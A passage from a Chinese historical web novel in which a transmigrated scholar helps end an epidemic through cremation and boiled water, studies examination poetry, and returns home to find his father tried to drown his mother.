大家不知所以,渐渐有了细细碎碎的说话声,然后就看见一个身穿青灰色长衫的年轻人扒着柴火堆走上高台,放声大喊道:“乡亲们,小子今日在此处,是要跟大家说个事情!这个事情与诸位都有紧要的关系,否则我们也不可能在多疫的时节召集大家!” 底下渐渐安静了,大家沉默地看着台上陌生的年轻人,等着他开口再说话。 段之缙看着人群,豆大的汗珠直往下滚,他的嘴唇有些哆嗦,声音强挤了两次也没能挤出来,最后嘶哑着嗓子往外喊:“现在罹难的人太多,棺材跟不上,地窖也放不下,我也是没别的办法了才提议火葬!今天是来告诉大伙的!” 火葬?! 底下的人一片哗然,瞬间爆发出一片争吵谩骂之声,还有人往台上扔石子,被差役们挡住。段之缙费力地去听,从喋喋不休的辱骂里找他们不同意的原因。 果然叫他找到了。 段之缙大喊着叫众人安静,先听自己说,可群情激愤之下,还是差役拿刀枪挡着才没叫大伙冲到台上。 最后还是严把总拉起鸟枪朝天放了一枪,这才安静下来。 段之缙身上的汗已经浸透了长衫,布料紧贴着后背,他看着底下怨恨的目光终于张开了嘴:“自古以来的说法, 肢体不全的人入不了轮回,可这些说法在小子看来都是扯蛋!那佛祖割肉喂鹰,他也是肢体不全吗?舍身饲虎的人也是罪孽深重入不了轮回吗?佛家讲究神全,行善事得福报,火葬正是行善的一种。” 下边的人骂他放屁,段之缙也不生气:“我是不是放屁,大家先听我说完。这些尸身堆放在一起,已经在腐烂了,不用我说大家伙也知道,再不处理是会产生新的疫病的!倘若能够火葬,也算是你们的亲人行了最后一场善事,不啻于割肉喂鹰、舍身饲虎,这都是福报,入轮回之后有享不尽的善果。” 下边一半的人想到尸体堆积的坏处,声音渐低了下去,说到底还是想活命的人多。可仍有一部分人不罢休,一个老汉儿暴呵一声:“恁又没死,身子不用烧成灰……俺儿连媳妇儿全没了!恁这是要绝了俺的念想啊!” 原本有些安静的人群又吵闹起来,段之缙扫过一张张或愤怒或悲痛的面孔,将发簪拔下,大片的头发瞬间滑落。 他从衙役那里拿过一把刀,寂静地割落了一把头发,人群一下子鸦雀无声。 身体发肤受之父母,去发可是不孝之举,是会被人唾骂的。 段之缙捞着那一把头发,振声说道:“段之缙在此断发立誓,倘若我身亡于玉平,就地火葬,绝不异于诸位!” 再也没有人说话了,而常百草就在此时爬上高台:“若我也亡于此疫,也是火葬,绝不叫新的疫病从我的身上生出来!并且我们绝不白吃朝廷的赈灾粮,从今日起我会和一户染过疫毒痢的人家同吃同住,不找到疫源绝不罢休!” 他们两个一个接一个,将台下众人震得呆住,段之缙趁此又说道:“我也知道,留个全尸是现在唯一的指望了!可活人不能再叫死人拖累!若你们有谁担心亲人火葬后吃不到供奉,府衙给他们立了祠堂,就是身后的万灵祠!只要答应火葬,他们的牌位就会被请进祠堂,以后每年春秋两祭,绝对缺不了他们的供奉。你们再想想,若是疫病从你们的亲人身上生出,他们死后能安心吗?” 他说着,又问刚才大骂的老大爷:“倘若您的儿子和儿媳妇知道新的疫病从他们身上生出,害了自己的慈父,他们能安心吗?” 老大爷泣不成声,再也没能说出来一句话。 段之缙眯着眼看了看太阳,时辰似乎差不多了,又往远处看去,果然刘家人抬着一顶大棺远远地走来,孝子贤孙的哭声也愈发明晰,身边还跟着府台。 段之缙的任务已经结束,现在是府台上场,平民百姓们齐齐下跪。 杨度眼里都是泪,他先叫众人起身,颤着嘶哑的声音说道:“你们舍不得,本府就舍得吗?可这也是没办法了。现在第一个同意火葬的人家已经出来了,就是刘老太爷!老太爷生前为一方父母官,死后也不愿意累及生民,他愿意化作一捧灰,叫大家伙好好活着!本府身后的刘公祠就是为纪念老太爷的义举,此后春秋两祭,同所有答应火葬的人家都是一样的!” 府台说完下场,刘家人悲悲戚戚,将棺椁放在柴火堆架的高台之上,然后点燃,熊熊烈火猛地窜起,遮盖了棺椁,悲泣之声不绝。 最后,一切都化成了灰,人群散去,大家都默认了火葬之法,现在就差常百草的疫源。 秦先生呢,他方才站在人群中,看着学生一举一动,倏忽间发现这个一开始才到他腰间的孩子,竟然都这么大了。【你现在阅读的是 】 40-50 第41章 041回京、再学试帖诗、姨娘 或许真是段之缙命里带衰,也许是他身子太弱,火葬那天那么多人聚在一块儿,偏生就段之缙一个人染上了疫毒痢。 开始先是泻肚,一晚上去了七八次茅房,第二天早上浑身无力,两条腿跟面条一样打晃。早上的饭还没吃,就开始呕吐,昨天的晚饭竟是一点都没消化,囫囵吐了出来,然后就开始上吐下泻,腹痛如绞,段之缙这才知道了疫毒痢的威力。 疫毒痢吐起来没完没了,胃就跟造反一样,喝进去一口吐出来两口,且吐起来是不间断的,得有十几秒的功夫一直往外喷水,这个时候一定要屏住气,要不然秽物倒呛能叫人把肺都咳出来,饭更是一点儿都不敢吃,害怕吐得时候呛入肺里。 吐到最后,什么也吐不出来,嘴里俱是苦味。 这个时候他才算是明白了什么叫“疾痛惨怛,未尝不呼父母也”,躺在床上打滚的时候,年轻人眼睛都是湿漉漉的,从小姨和小姨父一路想到了施姨娘,甚至还会想起来嫡母王虞,捂着肚子沉默流泪。 他现在被关在了院子里修养,除了每日来诊脉开药的老大夫,就只有秦先生有空看望他,隔着门同他说两句话。 先生的声音一响起,段之缙爬都要爬到门口那儿。 “你今天怎么样了?” “今天比昨天好很多了。” 秦先生点点头:“老陈大夫也说你的症状不重,恢复得挺快。”他的声音突然停了,外边发出了填装烟袋的悉悉簌簌的声音,一股烟草的味道从门缝里挤进来,嗅一嗅呛人的气味,都能闻到主人身上的愁。 段之缙问道:“先生怎么了?”先生来看他的时候都是喋喋不休地说话,怎么这次又抽起了烟? 秦先生的声音有些疲倦,他叹一声:“也不知道怎么跟你说……为师之前去过寿张县冯家村看那里瘟疫的情况,没找到冯胜的母亲,他的族亲们也都不知所踪。当时县令说从玉平逃难的难民还没全回来,为师就没告诉你,前两天又去了,县令说都回来了。” “冯胜的母亲可回来了?” 秦先生没再说话,只沉默地抽烟,段之缙却已经知道了答案,他靠着门板坐下,腹部的疼痛都不那么明显了。 “这种事儿都是常有的,小老百姓就是这样的命,冯胜跟着咱们去京里也不错,为师还能供着他读书,能同你一样科举最好,即便是不能以后也多一条出路。说起来科举的事情,咱们为了玉平的瘟疫也耽误了不少日子,原本都应当给你讲试帖诗了,也没讲成。明年的院试还不知道如何呢……” 秦先生一边抽烟一边絮絮叨叨地说,语无伦次地胡侃,想起了自己的本职工作又操心明年的院试,越想越懊悔,这些日子就应该熬着夜先把试帖诗讲了,正好叫学生修养的时候温书,省得浪费时间。 段之缙打断了先生的絮叨,反过来安慰:“先生,明年的院试不行就不行吧,我还年轻,日后还要考很多场考试,做很长时间的官呢。” 秦先生却从这一句话里听出了些不一样。 这个学生是崇德六年收下的,当时段之缙的母亲正在给段之缙找授业先生,出一年两千两的束脩。自己那时没了官,整日郁郁寡欢,家里虽然不缺一口饭吃,可到底也得找点事情做,因而不求别的,就是为了这些黄白之物,堂堂一个进士,去了吏部员外郎的家里做先生。 自己还做着官的时候就和段成平见过面,不过这做老子的一点儿也不关心儿子读书的事情,连儿子请了昔日的同僚做先生也不知,竟一直以为自己是王元浩为段之缙从南方请的先生。不过他家的那些事儿自己也有所耳闻,倒也不稀奇。 缙儿这个孩子总是浑浑噩噩的,他母亲叫他作甚就作甚,自己问了点什么,就只会回:“一切都听母亲的安排”。科举、做官,每天游魂一样地读书也是听从母亲的安排。 等着这孩子撞了脑袋,倒是比之前有主见了,只是总叫人觉得又傻又聪明,许是失忆了的缘故,但是自己能明显感受到,科考对于缙儿,是别无他法的选择。 可他今日却这样自然地说出来日后“要做很长时间的官”的话。 看来还是不能死读书,见一见世间疾苦,人的精神面貌都跟着变了。 想到这里,秦先生没忍住笑着开了口:“你怎么又想要做官了?” 段之缙一愣,深觉莫名其妙,回道:“我不想做官我考什么科举?” “不一样……心态是不一样的。” 段之缙一下子听明白了先生的意思,有些尴尬地揉一揉手心:“嗨……先生你都知道,我不好意思说。” 秦先生哈哈大笑:“有什么不好意思说的?那横渠四句四句所言,为天地立心……” “停停停!”段之缙的脸憋得通红,愈发长大便愈发不好意思把这些崇高的东西摆在明面上,因而连忙打断:“学生没那么大的本事,日后能做个县令为一方父母官就很好。要是再有本事,能做一个不叫常平仓里跑马的知府就更好了!” 秦先生今日也笑够了,嘱咐段之缙好好养身子,又把几本书放在门口叫他等自己走后开门拿,不要以为养病就可以闲着。段之缙偷偷翻一个白眼应下。 年轻到底是好,段之缙很快就停止了呕吐,虽还有些泻肚但也不要紧,一顿能吃一大个饽饽,身子一天强过一天。 他每日也没有别的事情做,就是看秦先生拿来的经解或者教人作诗的书,自己还试着写了一首,看了两眼赶紧撕毁,因为写出来的东西完全就是犯罪,犯罪证据可不能留存下来。 日子是最不经晃的,段之缙也算是好的差不多了,只是还需要再观察个三五日,这天他重鼓信心再次作诗,便听得门外砰砰的拍门声,还有常百草振奋的声音。 “小段兄弟,我找着了!我找着了!” 然后就听见了陈老大夫着急忙慌的劝阻:“小常啊,咱们还是回去养着吧,你自己的疫毒痢也才好没几天啊,两个腮上的肉都下去了。” 常百草笑着说没事,又隔着木门喊道:“你猜是什么?竟然就是水!” 水? 这怎么可能,倘若是水,大家喝的一条河的水,为何富人家不得病?段之缙直接问出来,常百草答道:“因为富人家不喝冷水!喝沸水是要烧柴火的,咱们是府城,柴火、煤炭,就算是一根线头都要花钱买,老百姓们怎么能舍得?自然不会喝烧开的水。可是中上之家是要喝茶叶的,茶叶需要热水泡,他们又素来注重养生,一般不会喝冷水。” 段之缙一拍脑袋,上一世学的东西终于冒了出来,喝凉白开全国普及要等到爱国卫生运动,古代根本就没有这个条件。再者前几年干旱,这些日子又要伐树做棺材,山上早就光秃秃一片了,除了素来储藏着柴火和煤炭的富人家,谁还有条件喝上干净的水?大家都紧着那点燃料做饭用。 外边的常百草接着说:“现在天越来越热了,又偶尔下暴雨,那些脏东西全都冲到了河里去,疫病自然是越来越严重。你那天讲完了话,出了一身的汗,嘴皮都爆开了,有一个衙役给你倒了一碗凉水,当时谁也没往那上边想,你咕咚咕咚全喝了,这才染上了疫毒痢。” 段之缙手里捏着的书页都被攥皱了,他担忧道:“那……府台大人想出解决之法了吗?” “自然,咱们之前不是存了大量的木材准备做棺材吗?现在棺材也不用做了,都劈了当柴火,发给每家每户,叫他们用作燃料。” 老陈大夫在外边唉声叹气:“你们两个小子,没一个安生养病的,都这副德行了何必再去考虑那么多?说完了没有?说完了常百草就随老夫回去,整天南窜北跳的,真是愁死人了。” 常百草在外边嘿嘿一笑,求着要说最后一句话,然后拍一拍木门道:“小段兄弟,从教着他们喝热水后,每日新增的病患少了三分之二去,且越来越少,你放心养病好了!” 段之缙一笑,突然想起什么,叫住将要离开的二人,拿着墨笔在纸上哗哗地写,然后将纸条从门缝塞出去:“我自己的一点浅见,无论是火葬还是煮水之法早晚要从府城往外传,给你们编一首童谣做传诵之用,大概能传得快一些,要是不管用可不能怪我。这个纸条你也别拿,记住了就走吧。” 常百草用棍子挑着一看,题为:四送瘟神。 一劝送亲安, 瘟风过,莫泪涟, 亲魂归,福火摇曳, 青烟一缕上九天, 护得门户全,泉下展笑颜! 二说万灵祠, 莫愁泉下无人祭, 府城有个万灵祠, 木牌刻名香火密, 不信去看刘公祠—— 老太爷,焚秽先! “三教护井水,打水先撒明矾粉,沉泥沙,晒日头,煮到滚沸再入口,瘟神见了绕道走。四训勤洗手,饭前便后洗洗手,皂角搓,清水冲,十指干净病不生!”府台大人是从陈老大夫手里拿到了常百草默下来的内容,当场就读了起来,越读越觉得有趣,又朗朗上口,和旁边的秦先生赞道:“您这位学生倒真是有不少的聪明劲儿,这法子都能想出来。今日本府就叫人改成山东快书,衙役们学会后就去周遭村落和县城里传唱,一定要把这个推开。” 秦先生自得一笑,但是先泼了府台一盆冷水:“大人,火葬事大,可不能只靠这一首童谣啊。” 府台虽不知他的身份,却不在乎他泼自己冷水,随口回道:“潜移默化之用,没人会真指着这个来推行火葬。” 他说完就紧着下去安排,这首童谣带着火葬、煮水和净手之法以府城为中心向外扩去,这场灾祸也随着时间流逝渐渐平息。 当最后一个人从城隍庙中走出来的时候,一切都宣告结束了,人们从封闭的家中走出,仿佛人生第一次站在太阳光下,泪水奔涌、泣不成声。 剩下的就交给时间,如野草一般顽强的人会努力地建设家园,正如外边荒芜的田地已经抢种了荞麦,绿意在人的眼底闪耀。 回永明之前段之缙还去了常百草家拜访,这才得知只比自己大了三四岁的小常哥哥已经有了两个闺女,五六岁的孩子满地跑,小常嫂子大了小常哥不少,是常家的童养媳。 从常百草家回来的第二天,秦先生、段之缙和两位把总带着兵从玉平回到永明,这一次终于不用骑驴子,因为杨度特意给他弄了一辆马车,叫差役驾着马车送秦先生和段之缙回去,童禀声就在城门口迎接。 童禀声果然和秦行甚熟,段之缙刚要下拜的时候就被先生一把拉住,两个人直挺挺地立着,童禀声脸一黑,却也没刁难,凑过来恶声恶气地说:“本府都听说了,你还真是了不得,做官的时候能把皇上气得喘不上气,做个臭教书匠还能教出来这样的学生。” 秦行皮笑肉不笑:“我就当府台大人是在夸我了。” 段之缙看两个人你来我往地吵嘴,可也不像是有仇的样子,尤其是童禀声还能请他们去喝酒,现在这时候,酒可是了不得的好东西。 段之缙拘谨地坐着,看着童府台的凶恶样也不敢坐实了,秦行倒是无所谓,两条腿岔巴开,比童禀声还狂呢,还敢叫知府给他倒酒。 童禀声骂骂咧咧,还是给秦行满上了。 先生浅呷一口,眼珠子一瞥:“京城的玉泉酒。” “我母亲送来的,咋了?” 秦先生哂笑:“郡主一片爱子之心,全填了我这个狼心狗肺之人的肚子?” 童禀声杯子往桌子上一磕,小酒圆竟然啪的一声碎了,吓得段之缙一个激灵。 “你真是咬着一个豆嚼不烂了,这都哪年哪月的事儿了这么能叨叨?皇上是我亲亲的堂舅,对我一门恩宠有加,我怎么能不向着他说话?再说了,比你名次高的人还在翰林院苦苦熬着,你他娘才混了几天啊就去了刑部做员外郎,难道不是皇恩浩荡?可你呢?给皇上气的呀……骂你狼心狗肺怎么了!” 再说了,自己骂完了秦行,这个丧门玩意儿也没在口舌上饶了自己,说郡主是天家枝叶,宗亲骨血,岂料生子媚上如犬彘趋食,忠孝二字,独解作“阿谀”一途,若陛下言“九转轮回之物可食”,童氏阖府岂不叩首谢恩,赞“玉馔异香”? “而且我之后不是为你向皇上求情了吗?累得该我继承的世袭一等公爵位都没了,这可是世袭的爵位,让给老二了!” 段之缙瞧他俩旁若无人地相互谩骂,终于弄明白了事情的经过,心里疯狂吐槽童禀声,现在觉得一等公的爵位香,以后一等公的爵位你都还觉得配不上你的军功,瞧你那副狂样,怪不得一开始叫唐馥压得那么死,还是唐馥死了才轮到你这个堂姑的儿子成新皇的心腹爱将。 陈年旧事,不过是童禀声领着刑部的时候和在刑部当差的秦行关系好,两个人一来二去也顾不得上下级关系,就这么成了一对好友,秦行待他比李显光还亲呢! 结果徐九宜那个事情一出,旁人也就罢了,偏偏是这个身为皇亲国戚的朋友先上来说自己辜负了皇恩,是狼心狗肺,因而秦行记了这么多年,耿耿于怀。 童禀声也委屈得很呀!他一开始就是想劝秦行认输,先跟皇上服软,毕竟哪有臣子和圣上顶着干的?纯纯不要命了。结果这个犟种话赶着话,自己一时制不住他脱口说了一句“狼心狗肺”。这当然是自己的不对,但后来自己为了给他求情,本应由他继承的爵位都没了,还一路跑到这个死地方做什么鸟知府,本来他都要去心心念念了许久的兵部了! 结果呢,这个秦行,连问都不问一句,七八年了连个音信都没有,突然出现还是叫个学生来! 段之缙一边往嘴里夹菜,一边看两个人吵得脸红脖子粗,心里也不当一回事儿,因为他知道这俩以后进了朝堂,童禀声凭着那一副死样能干过那么一堆人替了唐馥,还得多亏秦先生一句“惠照郡主的血淌在童禀声骨子里,虽是个驴一样的脾气,却能为您的江山摔碗骂人”。 要不然童禀声凭什么能叫新皇这样心路好比山路十八弯的人看在眼里?凭他不会说话吗? 这一坛酒把两个人喝得往外吐,这么多年的积怨骂完了也就释怀了,又抱在一起痛哭一场。可怜段之缙这么长时间终于吃了一顿好饭,还要当壮劳力把先生带回客栈。 这一晚,可以说是进了山东,睡得最香的一次了。 但第二天天一亮,看着冯胜期待的眼睛,段之缙真想就地晕过去,秦行倒是因为宿醉醒不过来逃过一劫,自然也没听到孩子的嚎啕大哭。 擦干了眼泪,还是要好好活下去,尤其是要替着他的母亲好生活下去。 …… …… 现在已经快入八月了,段之缙办好了路引便赶紧上路,姨娘、母亲和蘋儿三个人还在家中等着呢,昨天看了那些积攒的信,料想是没有出什么问题,只是到底没见到活人,段之缙仍是放心不下。 不过放心不下归放心不下,在马车上还是要把落下的试帖诗学完。 秦先生拿出段之缙在玉平府写得童谣,眉头能夹死个人,“你这首童谣,韵律粗粝、意象干瘪,结构涣散、章法混沌……做童谣也就是勉强够格,你这个小子要写诗可就难了。还有咱们落下了太多,不管你能吃透多少,我今儿非得给你把试帖诗讲一讲。” 段之缙叫他说得臊眉耷眼,埋着头收拾纸笔准备记笔记。 先生摇头晃脑道:“平常作诗在于‘我’之本心,试帖诗在于‘题’,诗不可无‘我’,试帖诗不能无题,所以对你的要求就是扣题!再者试帖诗讲求一个由浅入深,由虚及实,要用题立住整首诗,不能凌乱无章,说简单点就是一篇小时文,因而也不需要你有情,只要写得差不多就行,最要紧的还是真正的时文。” 段之缙记下,又问:“先生,从类别看,试帖诗以什么为主?” 秦先生回道:“基本上全是咏物,只是不限定于一个物,而是题中所有之物,你要从各个方面去研究,而且出题的范围极为广博,历代的经、史、子、集都会出题,因而也不失钻研之妙趣。” “这样的难度也会很大吧?” 秦先生不知想起了什么,哈哈一笑:“这是自然,我这还有一个趣事你听不听?” 段之缙点点头,秦先生笑着说:“之前临江学政曾以‘冯妇攘臂下车’为题令士子做五言六韵诗。”他说到这一停,先叫段之缙给他说说“冯妇攘臂下车”出自哪里。 段之缙不知所以,还是答道:“语出《孟子尽心下》,‘晋人有冯妇者,善搏虎,卒为善士。则之野,有众逐虎。虎负嵎,莫之敢撄。望见冯妇,趋而迎之。冯妇攘臂下车。众皆悦之,其为士者笑之。’意思是冯妇原是搏虎勇士,后改行为修身士人。某日见众人围虎不敢上前,他忍不住重操旧业下车搏虎。民众喝彩,但士人却讥笑他。” 秦先生点头称是:“很不错,东西记得很牢,可当年院试却有人把冯妇当作是曼妙女子,写出了‘玉手纤纤出,金莲步步行’的句子。” 将搏虎力士当作是美貌妇人,在当年也是轰动一时,成了士林中永远的笑话。 秦先生笑完,又提醒道:“不过即便冯妇是美貌的女子,他这诗也是完蛋。” 段之缙不解:“这是为何?” 秦先生瞅他一眼,脸上神色莫名,然后笑嗔道:“你榆木脑袋吗?这可是抡才大典,为朝廷选官的!你在考卷上写‘玉手’和‘金莲’?你进考场到底干什么的!” “不仅不能写闺房情好之词,里巷忧愁之情也不容一字。一定要记住了,你就是来考试的,别动真感情,因此用词一定要端庄稳重,不能有一丝一毫的轻佻浮艳,之前还有人写过‘平远山如画,温柔月恋乡’,因为语近‘香奁体’而被黜落……” 秦先生将一整个试帖诗的内容拨皮拆骨,从遣词造句一直到格式要求,全都揉碎了喂给段之缙,这一路上晃晃悠悠,没有多长时间就到了京城,段之缙的试帖诗也学的差不多了,现在每日都要作诗。 两人都是离家许久,秦先生带着冯胜儿回了自己家,马车刚刚在段家院子里停下段之缙就迫不及待地跳下来,兴奋地问周围的奴才:“母亲、姨娘和你们二奶奶可都还好?” 这本是一句普通的问话,谁知凑上来的人有一个算一个的眼神游离,段之缙心里顿时压了一块儿大石头,紧接着“溺水”二字冲进脑海。 他扯住一个内院的小子:“可是姨娘出事了?” 那小子没想到他一猜一个准,半天也没说出话。 段之缙登时急了,“快说啊!”然后扯着他往主院里跑,小伙被拉着跟在后边哆嗦道:“老爷一开始是要……不过施姨娘没什么大事儿!如今在主院养身子呢!” 第42章 042反制段成平 段之缙身后跟着一大群奴才冲到了主院,守着院门的老嬷嬷一看是二爷回来了,眼泪先往外流,也不通报,先领着段之缙往里走,一边走一边喊小丫头快去跟太太说二爷回来了。 还未走到堂屋,王虞和沈白蘋先迎了出来,段之缙的身影一映入眼眶子,王虞倒还好,只是眼圈稍红,沈白蘋眼泪哗哗地往下流,哭到直不起腰身,是受了很 大惊吓的样子。 段之缙刚走近身旁,王虞便叫他进屋看施姨娘。 刚才那小子没扯瞎话,姨娘脸色煞白,还有些喘息困难,可精神气倒还好,看来养得不错,看见段之缙也是先流泪,一句话都说不出。 段之缙怒火中烧,还不等他问发生了什么,王虞便先开了口:“你不在家中,我们都是安生度日,连段成平的面都不见一次,除夕那晚的团圆饭都没去,本来还相安无事。结果不知这几天怎么了,段成平吃错了什么药,总是来叫施姨娘,一开始叫我拦住了,后来总不去不是个事儿,姨娘便去了。” “幸亏你老是写信叮嘱,叫母亲好好看着你娘……”她说到这里,眼珠里的泪水终于没憋住,啪嗒啪嗒掉下来,身子因后怕而颤抖,捂着嘴说不出话。 许嬷嬷也在旁边擦眼泪,接着太太的话说:“太太刚觉得事儿不对,总跟着姨娘的丫头环佩就跑了回来,说是姨娘进了老爷的院子好长时间没出来,里边还有呼喊的声音,太太就赶紧带着人去了,二奶奶也跟着。结果却是老爷要叫人淹死姨娘,我们带的人少,一时僵持住了,还是二奶奶跳下去,硬生生把姨娘拉了上来。” 王虞想起当时段成平狰狞的脸,难免胆寒。 自己总觉得段成平是个绣花枕头,当年地事情不过是段家那老不死的老太婆一手谋划的,可恨自己瞎了眼,若不是段成平这个狼心狗肺的默认了,段老太太这种父死从子的货色,怎么会一来京城就想要逼死自己。 二十来年,到底也没有看清楚这个畜生。 她的帕子哭湿了半张这才止住,看着段之缙说:“是我对不起你,没有看顾好你娘,以后你还是带着她去致知斋住,我也能放心些。或者致知斋旁边还有一个翠微院,叫小施单独住一个院子也行。” 施姨娘憋住了眼泪却不答应:“太太没有对不起你,若不是太太来得及时,姨娘恐怕就没了。”她又看看旁边的沈白蘋,拉住了段之缙的手:“太太给你娶的这个媳妇顶顶好,你以后千万要好生待她。” 乱七八糟的消息一股脑地涌进来,将段之缙冲得头晕脑胀,可还有一个关键的信息没被说明,他回握住姨娘的手问道:“姨娘,当时的事情只有你清楚,父亲为何突然为难你!” 姨娘泪眼朦胧,却闭口不言。 王虞坐在床边也跟着问:“我是个没用的人,你不告诉我也就罢了,你儿子都回来了,你还能不告诉他吗?” 施姨娘坐在床上,流着眼泪叫他们别再问,这世上,没有儿子跟老子斗的道理,知道了也是白添心事。 段之缙跪在床前,眼里也泌出了眼泪,狠狠磕了一个头下去:“若是姨娘不说,儿子就跪在这里不起来。” 然后以额触地,再也没抬起来头。 施姨娘伏下身子去拉儿子,可缙儿就是跪在哪里,怎么也不起来。 苍天啊……怎么就叫我儿子摊上这样的事情。 姨娘又忍不住悲泣起来,哭声越来越大,段之缙低伏的身子也跟着颤抖,无声地流泪。 最后,施姨娘终于开了口:“我不想说,也是为了不叫你多心,你日后该做哪样的事儿还是要做哪样的事儿,千万不要顾及什么,姨娘相信好人定然有好报的。” 她先是莫名其妙地说了一通,段之缙抬起头来,心脏突突地跳,不好的预感涌上心头,这件事似乎与他有关。 果然施姨娘牵住了儿子的手诉道:“之前都好好的,突然就老是叫太太去,太太自然是不会去的,叫他有事儿就来主院说,老爷也不可能来。后来就一遍一遍地叫我,太太不叫我去,只是太烦人了,我寻思着不会有什么大事儿,就去了。” “结果老爷上来就说太太不会教导孩子,说你有能耐了,还认识这个知府那个知府的,不知道还认不认得他的爹。” 知府?段之缙似乎明白了些什么,只是父子相妒这种事情,到底是太匪夷所思了,按理说一个家里,不应当是一荣俱荣,一损俱损吗?不过宋代还有蔡京、蔡攸父子相争的事情,什么君臣父子的,在权势面前算得了什么? 姨娘眼睛里还闪着惧意:“我想我答的都没有差错,只恨旁边还有陈姨娘,她三言两语,说你是心大了,去山东这么大的事情也不跟老爷说,许是以为给朝廷立了功能压老子一头,这才无声无息地干了这么大的一件事。” 果然是山东的事情!段之缙实在是预料不到,怎么仁义之举就成了施姨娘的催命符了呢? “我们都不知你在山东做了什么,但姨娘觉得你是好孩子,定然是做了善事。我原本是忍住了没与他们争辩,只说你最孝顺听话的孩子,怎么可能对父亲不敬,之后陈姨娘就凑在老爷耳边,不知道挑唆了什么,老爷便突然发怒,说我是下等的奴才,要溺死我。” 去山东治疫的事情,段之缙不敢跟家里说,也是怕这些人担心,只说先生要带着自己去山东永明拜访名士,还不知道什么时候回来,这几个当娘的做妻子的,哪能想到段之缙有这样的胆子,敢自己往那死路上寻?压根没多想。 且她们自段之缙离京后对外边的事儿也不甚关心,自然不知道山东有瘟疫。 施姨娘去了老爷的望月堂,什么事儿也不知道,先叫人把自己的儿子辱了一顿,又要溺死自己,可她还是从只言片语中听明白了,儿子在山东做了大事情,搞不好要受朝廷的封赏,甚至可能压过他的父亲,老爷才如此的羞恼。 她不愿意说,是不想叫儿子有心理负担,不想叫儿子觉得是他的原因害的姨娘受苦,以后畏缩不前。当时在水里浸着的时候,想想还不如死了算了,这样也不用再给缙儿做拖累,叫他受他父亲的委屈。 自己当时都已经放弃挣扎了,可怜蘋儿扑通一声跳下水,也不知道哪里来的那么大力气,生生把个活人拽上了岸。 段之缙眼睛里是滚滚的怒火,他捏紧了拳头要往外走,施姨娘看他状态不对连忙叫小子们拉住,王虞也挡在他身前呵问:“你要干什么去?” 段之缙直勾勾盯着王虞,貌似平静地回道:“我要去问问父亲,天下有这样的丈夫和父亲吗?” “你疯了!”王虞大骂,更是拦住不叫他走。 施姨娘的肠子都悔青了,怎么刚才就和这冤家说了,连哭带嚎地奔下床:“缙儿,你要是敢去我今天也就不用活了!你是有大前途的人,不要为了我担上不孝的骂名,要是这个事情传出去一点,有人拿着说了嘴,你的前途就全完了!” 沈白蘋却不去说那些话,而是扯着段之缙的衣袖说:“二爷,我信这个世上还是有道理在的,这个事儿定然有解决的办法……可是你不能现在去,陈姨娘是什么样的人还是我来说吗?若是叫她扯到了一丝一毫的把柄都要给你宣扬出去。‘忠臣必出于孝子’之家,咱们家的名声再加上点风言风语,母亲和姨娘还有指望吗?!” 妻子的一席话就像一盆凉水,猛地泼到段之缙脑袋上,叫他瞬间冷静了下来。 对,这王八蛋一样的时代,对孝道要求极高,连跟父母顶嘴都是不孝。 沈白蘋见他冷静了一些,接着劝他:“您要名声,老爷也要名声呢,最好是能找着叫老爷和陈姨娘都不敢往外声张的办法,先想法子,不要打草惊蛇。” 几个人轮番上来劝,段之缙把那股火全都憋回去,顶得眼眶子赤红,沉默着应了下来。 就刚刚这么一小会儿的功夫,屋里人流的眼泪都凑够一缸了。 之后段之缙也是闷闷不乐,一句话不说,和妻子一块伺候母亲和姨娘,实则把能记住的《大雍律》全都翻了个遍。 他不信,就算嫁了人的女子成了奴隶,就算孝道大过天去,这律法就不给活人一点喘息 的机会,他也不会去告段成平,只要能恢复到原来相安无事的状态就好,更进一步的事情且待日后。 因而即便是回了家,段之缙也没心情去吃什么珍馐美味,从书堆里扒拉出来律法闷着头读,沈白蘋也点着灯陪他,两个人一块儿,钻法律的漏子。 可惜到底不是专业人士,闷头看了一天也没看出些什么,愈看愈觉得生无可恋。 第三日的时候,段成平终于想起了这个儿子,叫段之缙去书房叙话,后者的后槽牙都要咬碎了,还是绷起来一张笑脸,跟着肖伯去了书房。 名为父子,实为仇寇,段之缙生吞活剥了段成平的心都有,可人在屋檐下,不得不低头,还得乖乖地听训。 段成平自然一点儿也不心虚,若是杀妻还有些惩罚的话,杀妾的罪过还比不上杀奴婢,他有什么好心虚的,更何况还有父子大义在此,段之缙还想要走仕途考科举的话,还是要安分些。 他对这个儿子是相当不喜欢的,王虞身边的奴婢所生,和自己根本不是一条心,去了山东干了那么大一件事,一点信儿也不漏,和童家放出去的老大结交了,也不和当爹的说,这是什么儿子? 更令段成平愤恨的是,才多大的功劳,童禀声夸得天上有地下无。 要不说还得是皇亲国戚命好呢,皇上还是念着惠照郡主的旧情,连带着这个早就被厌弃的童禀声也跟着得了好脸,又有玉平知府上折子,先夸段之缙又赞一个叫常百草的大夫,请朝廷给予表彰。结果一查,那个“段之缙”竟然是吏部员外郎“段成平”的儿子! 段成平本来是高兴的,有这么个儿子也能洗一洗自己的名声,叫人看看段家也会教养人。 谁知总有好事之徒,逢人来贺喜便要把王虞的事情解释一遍,然后说一句“歹竹出好笋”,段家的门楣真是不一样了!他们啧啧称奇的模样真气煞人了! 最后的结果便是,原本许多新上来的官员不知道自家的事情也知道了。 除了生气,段成平心中还有些嫉妒。 他做了这么十几年的官,皇上连他是谁都不知道?毕竟当初的事情不光彩,怕污了圣听也就没人往上传。结果儿子倒是比老子强,先在皇上那挂上了名字。 还有那爱看好戏的特意来说,端王想叫这个小子直接去他的王府做笔帖式,也不知道是真是假。 若是真的,那这个小子可就一步登天了,现在谁人能不知端王的权势,他和誉王二人都极有可能是下一任太子,而端王身后还有皇后和贵妃,只不过输在年纪上,没了太子,誉王才是长子。 这样的光明前途,是段成平一辈子都不敢想的。 因而见了这个儿子他先恼了:“你的翅膀真是硬了,去山东这么大的事情也没跟父亲说,你眼里还有父母吗?” 段之缙还能如何,苦笑一声:“不是儿子翅膀硬了,只是山东之行实在凶险,儿子不忍父母担忧,又不能不对朝廷尽忠,这才选择了隐瞒。” “说这些话,你现在有大出息了,以后少不得要去端王那里捧砚台,眼皮子还能夹一夹你父亲吗?” 段之缙回道:“儿子再有出息,也是父亲教养得好,这才有了儿子的今日。” 一句话不能出错,正如沈白蘋所说,他们可以污蔑,但是不能真叫人抓住不孝之举,因而现在只能安抚,不能和段成平对着干。 段之缙把自己的功劳全说成是段成平的教养之恩,又说了些一荣俱荣、一损俱损的话,也不是段成平好忽悠,而是段之缙说的其实都是大实话,他这才从书房里逃脱,接着回去看律法。 